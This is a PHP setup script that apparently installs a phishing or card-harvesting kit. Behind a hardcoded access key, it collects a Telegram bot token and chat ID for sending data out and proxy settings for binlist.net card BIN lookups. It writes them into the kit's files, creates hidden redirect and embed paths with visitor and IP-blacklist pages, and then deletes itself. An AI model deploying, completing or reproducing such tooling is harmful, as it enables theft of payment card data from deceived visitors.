<?php

ini_set('display_startup_errors', 1);
ini_set('display_errors', 1);
error_reporting(-1);

if (!isset($_GET['key']) || isset($_GET['key']) && $_GET['key'] != "atg4UjPvqiZ2GQAOV9Lx") {
    http_response_code(403);
    die();
}

require_once './helpers/helpers.php';

$aIcwpHttpsServerOpts = array('HTTP_CF_VISITOR', 'HTTP_X_FORWARDED_PROTO');

foreach ($aIcwpHttpsServerOpts as $sOption) {
    if (isset($_SERVER[$sOption]) && (strpos($_SERVER[$sOption], 'https') !== false)) {
        $_SERVER['HTTPS'] = 'on';
        $_SERVER['SERVER_PORT'] = 443;
        break;
    }
}

$_SERVER['HTTP_HOST'] = $_SERVER['HTTP_HOST'] === 'localhost' ? '127.0.0.1' : $_SERVER['HTTP_HOST'];

/**
 * Finds the application root relative path from the document root by looking for a marker file (.approot).
 * @return string|null The relative path from the document root to the application root, or null if not found.
 */
function findAppRootRelativePath()
{
    $documentRoot = str_replace('\\', '/', realpath($_SERVER['DOCUMENT_ROOT']));
    $currentDir = str_replace('\\', '/', __DIR__);

    while (!file_exists($currentDir . '/.approot')) {
        $currentDir = dirname($currentDir);
        if ($currentDir === '/' || $currentDir === $documentRoot) {
            return null;
        }
    }

    return trim(substr($currentDir, strlen($documentRoot)), '/');
}

// Function to generate a random string
function generateRandomString($length = 10)
{
    return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}

function replaceInFiles($directory, $replacements, $targetFiles)
{
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));
    foreach ($iterator as $file) {
        if ($file->isFile() && in_array($file->getFilename(), $targetFiles)) {
            $content = file_get_contents($file->getPathname());
            foreach ($replacements as $old => $new) {
                $content = str_replace($old, $new, $content);
            }
            file_put_contents($file->getPathname(), $content);
        }
    }
}

// Process form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $config = [
        'base_url' => ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . '/' . findAppRootRelativePath(),
        'bot_api_key' => $_POST['bot_api_key'],
        'chat_id' => $_POST['chat_id'],
        'embed_path' => generateRandomString(),
        'redirect_path' => generateRandomString(),
        'key' => generateRandomString(20),
    ];

    // Add proxy settings only if provided
    if (!empty($_POST['proxy'])) {
        $config['proxy'] = $_POST['proxy'];
        if (!empty($_POST['proxyuser'])) {
            $config['proxyuserpwd'] = $_POST['proxyuser'] . ':' . $_POST['proxypass'];
        }
    }

    // Replace placeholders in target files
    $replacements = [
        "__REDIRECT_PATH__" => $config['redirect_path'],
        "__EMBED_PATH__" => $config['embed_path'],
        "__BOT_API_KEY__" => $config['bot_api_key'],
        "__CHAT_ID__" => "{$config['chat_id']}",
        "__PROXY__" => $config['proxy'] ?? '',
        "__PROXYUSERPWD__" => $config['proxyuserpwd'] ?? '',
        "__KEY__" => $config['key'],
    ];
    $targetFiles = ['init.php', 'app.php', 'header.php', 'footer.php', 'config.php', '.htaccess'];
    replaceInFiles(__DIR__, $replacements, $targetFiles);

    $dbFiles = [
        __DIR__ . '/data/db/blacklist.db',
        __DIR__ . '/data/db/visitors.db'
    ];

    foreach ($dbFiles as $dbFile) {
        if (file_exists($dbFile)) {
            unlink($dbFile);
        }
    }

    // Display configuration and links
    ob_start();
?>
    <!DOCTYPE html>
    <html lang="en">

    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Setup Complete</title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    </head>

    <body>
        <div class="container my-4">
            <h2>Setup Complete</h2>

            <div class="alert alert-warning">
                WARNING: This setup page will be deleted automatically. Make sure to copy and save all the links below. If you refresh or close this page, you will lose access to these links permanently!
            </div>

            <div class="alert alert-info">
                <h3>Important: Activate Before Use</h3>
                <p>Before you start using the redirect URL, you must activate the embed. Follow these steps:</p>
                <ol>
                    <li>Visit the Status URL (see below)</li>
                    <li>If the embed shows as disabled, click the "Enable EMBED" button to activate it</li>
                    <li>Once activated, you can start using the Redirect URL</li>
                </ol>
                <p><strong>Note:</strong> If the embed is not activated, no pages will be embedded.</p>
            </div>

            <p>Configuration saved. Here are your important links:</p>
            <ul class="list-group">
                <li class="list-group-item">
                    <span class="fw-bold">Status URL (Activate here first):</span><br>
                    <span class="text-break"><?php echo "{$config['base_url']}/status.php?key={$config['key']}"; ?></span>
                </li>
                <li class="list-group-item">
                    <span class="fw-bold">Redirect URL (Use after activation):</span><br>
                    <span class="text-break"><?php echo "{$config['base_url']}/{$config['redirect_path']}"; ?></span>
                </li>
                <li class="list-group-item">
                    <span class="fw-bold">Visitors URL:</span><br>
                    <span class="text-break"><?php echo "{$config['base_url']}/visitors.php?key={$config['key']}"; ?></span>
                </li>
                <li class="list-group-item">
                    <span class="fw-bold">IP Blacklist URL:</span><br>
                    <span class="text-break"><?php echo "{$config['base_url']}/blacklist.php?key={$config['key']}"; ?></span>
                </li>
            </ul>
        </div>
    </body>

    </html>
<?php
    echo ob_get_clean();

    // Remove setup.php
    unlink(__FILE__);
    unlink('index.php');

    exit;
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Setup</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>

<body>
    <div class="container my-5">
        <h2>Setup</h2>
        <form method="post">
            <div class="mb-3">
                <label for="host" class="form-label">Website Address:</label>
                <input type="text" id="host" name="host" class="form-control" value="<?php echo ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . '/' . findAppRootRelativePath(); ?>" disabled required>
                <div class="form-text">Example: www.yourwebsite.com</div>
            </div>

            <div class="mb-3">
                <label for="bot_api_key" class="form-label">Telegram Bot API Key:</label>
                <input type="text" id="bot_api_key" name="bot_api_key" class="form-control" required>
                <div class="form-text">Get this from BotFather on Telegram</div>
            </div>

            <div class="mb-3">
                <label for="chat_id" class="form-label">Telegram Chat ID:</label>
                <input type="text" id="chat_id" name="chat_id" value="-100" class="form-control" required>
                <div class="form-text">Your Telegram chat ID or group ID</div>
            </div>

            <p class="fw-bold">Optional Proxy Settings (for binlist.net)</p>

            <div class="mb-3">
                <label for="proxy" class="form-label">Proxy Address:</label>
                <input type="text" id="proxy" name="proxy" class="form-control">
                <div class="form-text">Example: 11.22.33.44:8080</div>
            </div>

            <div class="mb-3">
                <label for="proxyuser" class="form-label">Proxy Username:</label>
                <input type="text" id="proxyuser" name="proxyuser" class="form-control">
                <div class="form-text">Optional: Leave blank if not required</div>
            </div>

            <div class="mb-3">
                <label for="proxypass" class="form-label">Proxy Password:</label>
                <input type="password" id="proxypass" name="proxypass" class="form-control">
                <div class="form-text">Optional: Leave blank if not required</div>
            </div>

            <button type="submit" class="btn btn-primary my-4">Complete Setup</button>
        </form>
    </div>
</body>

</html>